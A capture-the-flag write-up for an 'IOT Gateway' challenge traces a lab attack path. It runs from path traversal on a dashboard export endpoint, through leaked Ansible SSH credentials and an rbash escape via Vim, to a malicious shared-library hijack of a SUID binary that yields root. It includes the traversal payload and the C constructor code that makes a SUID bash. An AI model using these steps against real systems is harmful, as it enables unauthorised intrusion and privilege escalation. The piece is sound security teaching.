Post

The IOT Gateway 🎛️

From a web dashboard to full root access.

The IOT Gateway 🎛️

This challenge was solved by a human 🤓

🗒️ Challenge description

Vi har registreret et indbrud i en af ​​vores kritiske industrielle overvågningsgateways. Vi har isoleret containeren, men vi har brug for, at du finder ud af præcis, hvordan angriberen gik fra et tilsyneladende sikkert dashboard til fuld root-adgang.

Flag format: DDC{...}

Start med at opregne webgrænsefladen på

http://gateway.cfire

🧭 Scope

  • Target: http://gateway.cfire
  • Goal: Identify the full attack path from website access to root.
  • Flag format: DDC{...}

🌐 Dashboard

Opening the URL in a browser reveals a very simple “ICP Gateway Dashboard”, with just one feature: exporting a log file. The export button leads to http://gateway.cfire/export?file=system.log, which downloads a .log file containing only:

1
System OK. No anomalies detected.

The interesting part is the file query parameter. Any time a web app lets the user decide which file should be returned, it is worth checking for path traversal.

My first instinct was to try /etc/passwd, but the application returned:

1
Absolute paths are not allowed

So absolute paths are blocked, but relative paths still work. By stacking enough ../ segments, we can walk back up to the filesystem root and then read the file we want:

1
../../../../../../etc/passwd

This works and returns /etc/passwd, confirming a local file inclusion/path traversal bug.

📁 Ansible Leak

At this point, the next step is to find a file that turns read access into broader access. The challenge text hints at gateway administration, and /etc/ansible is a good place to look because Ansible inventories sometimes contain SSH users, passwords, hostnames, or deployment secrets.

Trying to download the directory itself gives a useful error:

1
[Errno 21] Is a directory: ...

That confirms the directory exists. A common file inside /etc/ansible is hosts, so I tried reading it:

1
../../../../../etc/ansible/hosts

That gives us:

1
2
[gateway]
127.0.0.1 ansible_connection=ssh ansible_user=maintenance ansible_ssh_pass=SuperSecureMaintenance123!

And there we have it: SSH credentials for the maintenance user.

🔐 SSH Foothold

With the Ansible credentials, we can SSH into the target:

1
2
$ ssh maintenance@gateway.cfire
# password: SuperSecureMaintenance123!

We now have a shell as maintenance, but it is not a normal shell. The first command I usually run is whoami, but here it fails:

1
-rbash: whoami: command not found

We are in a restricted bash shell. Running ls works, but it only shows a bin directory containing ls and view. Those appear to be the only binaries we are allowed to call directly.

Because export is a bash builtin, we can still inspect the environment:

1
$ export

The important bit is:

1
declare -rx PATH="/home/maintenance/bin"

So PATH is locked to /home/maintenance/bin, and it is read-only. Trying to run commands with / in them is blocked too:

1
cannot specify '/' in command names

🧱 Shell Escape

The view binary is Vim running in readonly mode. I do not exactly love Vim keybinds, but Vim is very useful in restricted-shell situations because it can execute shell commands.

Inside view, we can start a normal bash shell:

1
:!/bin/bash

That escapes rbash, but the PATH is still useless. Now that we are in a normal shell, we can overwrite it:

1
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

After that, normal commands like whoami, id, and ls / work again.

🔎 Local Enumeration

We only have maintenance user access, so the next goal is privilege escalation. The usual checks are credentials, writable scripts, misconfigured services, and SUID binaries.

I started by looking for SUID binaries:

1
$ find / -perm -4000 -type f 2>/dev/null

One custom binary stands out:

1
/opt/system-health-check

It is owned by root and has the SUID bit set, meaning it runs with root privileges even when started by a normal user.

Running the binary gives us this output:

1
2
3
4
5
6
--- ICS Gateway System Health Check ---
Loading health check plugin from /var/lib/postgresql/plugins/libcheck.so...
Failed to load plugin: /var/lib/postgresql/plugins/libcheck.so: cannot open shared object file: No such file or directory
Running default basic health checks...
System OK.
--- Health Check Complete ---

The interesting part is the plugin path:

1
/var/lib/postgresql/plugins/libcheck.so

The SUID binary tries to load a shared object from that location, but the file does not exist. That is a strong hint for a shared-library hijack. If we can place a malicious libcheck.so there, the SUID binary may load and execute our code as root.

But we cannot use that yet. When trying to write to the plugin path, we get Permission denied, and checking the directory shows why: it is owned by the postgres user. So the next objective becomes clear: get access as postgres.

🧬 Reversing db_check

Looking around /opt, there is also a gateway directory containing a db_check binary. The name suggests it connects to the local PostgreSQL instance, which is interesting because ps aux shows Postgres is running.

We need database credentials, and db_check is readable by our current user, so I copied it off the box and decompiled it with Ghidra. Dogbolt also works nicely for quick checks.

The decompiled code contains a hardcoded Postgres connection string:

1
2
3
strcpy(v3, "DBAdmin_p0stgr3s_Secr3t");
snprintf(s, 0x100u, "host=127.0.0.1 user=admin password=%s dbname=template1 sslmode=disable", v3);
v1 = PQconnectdb(s);

So we have database credentials:

1
admin:DBAdmin_p0stgr3s_Secr3t

🗄️ The Database

Using those credentials, we can connect to the local PostgreSQL database:

1
2
$ psql -h localhost -U admin -W -d template1
# password: DBAdmin_p0stgr3s_Secr3t

Once inside Postgres, I listed the tables:

1
\dt

The users table looks interesting, and querying it gives another credential pair:

1
2
select * from users;
-- postgres:Psql_S3rv1c3_P@ss

Since the username is postgres, the obvious next test is password reuse against the local system account:

1
2
$ su postgres
# password: Psql_S3rv1c3_P@ss

That works. We are now the postgres user, which means we can finally go back to the missing plugin path from the SUID binary.

🧨 Postgres Plugin Hijack

Earlier, /opt/system-health-check told us exactly what it wanted to load:

1
/var/lib/postgresql/plugins/libcheck.so

Now that we are postgres, we can write to that directory. The plan is:

  1. Create a malicious shared object.
  2. Save it as /var/lib/postgresql/plugins/libcheck.so.
  3. Run the SUID root health-check binary.
  4. Let the shared object’s constructor execute as root.

The payload copies /bin/bash to /tmp/bash and sets the SUID bit on it:

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash");
}

Compile it into the plugin location:

1
$ gcc -shared -o /var/lib/postgresql/plugins/libcheck.so -fPIC /tmp/exp.c

Then trigger the SUID binary:

1
$ /opt/system-health-check

If the constructor ran, /tmp/bash is now a SUID-root bash. Start it with -p to preserve the effective UID:

1
2
3
$ /tmp/bash -p
$ id
uid=1001(postgres) gid=1001(postgres) euid=0(root) groups=1001(postgres)

Success. We now have an effective root shell.

🚩 Flag

With root privileges, we can read the flag:

1
$ cat /root/flag.txt

DDC{Industrial_Control_System_1324556}

🤓 TL;DR

  1. The dashboard export endpoint uses a file parameter, which is vulnerable to relative path traversal.
  2. Reading /etc/ansible/hosts leaks SSH credentials: maintenance:SuperSecureMaintenance123!.
  3. SSH lands in a restricted bash shell, but view is Vim, so :!/bin/bash escapes it.
  4. Local SUID enumeration finds /opt/system-health-check, which tries to load /var/lib/postgresql/plugins/libcheck.so.
  5. We cannot write that plugin as maintenance, so we pivot toward the postgres user.
  6. Decompiling /opt/gateway/db_check reveals Postgres credentials: admin:DBAdmin_p0stgr3s_Secr3t.
  7. Querying the database leaks postgres:Psql_S3rv1c3_P@ss, which works with su postgres.
  8. As postgres, we can write the missing libcheck.so plugin. The SUID health-check binary loads it as root.
  9. The malicious plugin creates a SUID bash at /tmp/bash, and /tmp/bash -p gives root.